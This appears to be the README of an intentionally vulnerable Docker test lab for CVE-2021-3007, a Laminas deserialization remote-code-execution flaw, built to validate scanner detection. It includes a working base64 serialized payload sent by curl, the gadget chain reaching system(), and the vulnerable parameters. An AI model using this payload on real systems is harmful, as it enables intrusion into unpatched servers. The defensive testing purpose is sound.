CVE-2021-3007 Vulnerable Test Environment

Intentionally vulnerable test environment for validating CVE-2021-3007 detection in security scanners.

Vulnerability Overview

Attribute	Value
CVE ID	CVE-2021-3007
Severity	Critical (CVSS 9.8)
Type	Insecure Deserialization → RCE
Affected	Laminas HTTP < 2.14.2, Zend Framework 3.0.0
CWE	CWE-502 (Deserialization of Untrusted Data)

Quick Start

# Clone repository
git clone https://github.com/KrE80r/CVE-2021-3007-vulnerable
cd CVE-2021-3007-vulnerable

# Start vulnerable environment
docker-compose up -d

# Verify it's running
curl http://localhost:8080

# Test with nuclei (optional)
nuclei -t CVE-2021-3007.yaml -u http://localhost:8080

# Cleanup
docker-compose down

One-Liner

docker-compose up -d && sleep 3 && curl -s http://localhost:8080 | head -1

Manual Exploitation Test

# Send serialized payload triggering RCE
curl -X POST http://localhost:8080/ \
  -d "data=TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjE3OiJmaWxlX2dldF9jb250ZW50cyI7fX19czoxMzoiACoAYXR0cmlidXRlcyI7YToxOntzOjIyOiJlY2hvIG51Y2xlaUNWRTIwMjEzMDA3IjtpOjE7fX19"

# Expected: Response contains "nucleiCVE20213007" confirming RCE

Technical Details

Gadget Chain

Laminas\Http\Response\Stream::__destruct()
  └─► Laminas\View\Helper\Gravatar::__toString()
        └─► Laminas\View\Renderer\PhpRenderer::plugin()
              └─► Laminas\Config\Config::get()
                    └─► system() / file_get_contents()

Vulnerable Components

Package	Version	Purpose
laminas/laminas-http	2.14.1	Vulnerable HTTP component
laminas/laminas-view	2.12.0	Gadget chain component
laminas/laminas-config	3.7.0	Gadget chain component

Vulnerable Endpoints

The application accepts serialized data via POST:

Path: / or /index.php
Parameters: data, payload, serialized
Encoding: Base64

Environment Details

Component	Value
Base Image	php:8.1-apache
Port	8080
Container	cve-2021-3007-vulnerable

Files

.
├── Dockerfile          # Container build configuration
├── docker-compose.yml  # Orchestration (one-shot setup)
├── index.php           # Vulnerable PHP application
├── LICENSE             # MIT License
└── README.md           # This file

Security Notice

WARNING: This environment is intentionally vulnerable for security testing purposes only.

DO NOT:

Expose to public networks
Deploy in production environments
Leave running unattended
Use for malicious purposes

DO:

Use in isolated test environments
Stop containers when not in use
Use for legitimate security research only

References

License

MIT License - For security research and educational purposes only.

Created for nuclei template validation | projectdiscovery/nuclei-templates

cve-2021-3007-vulnerable

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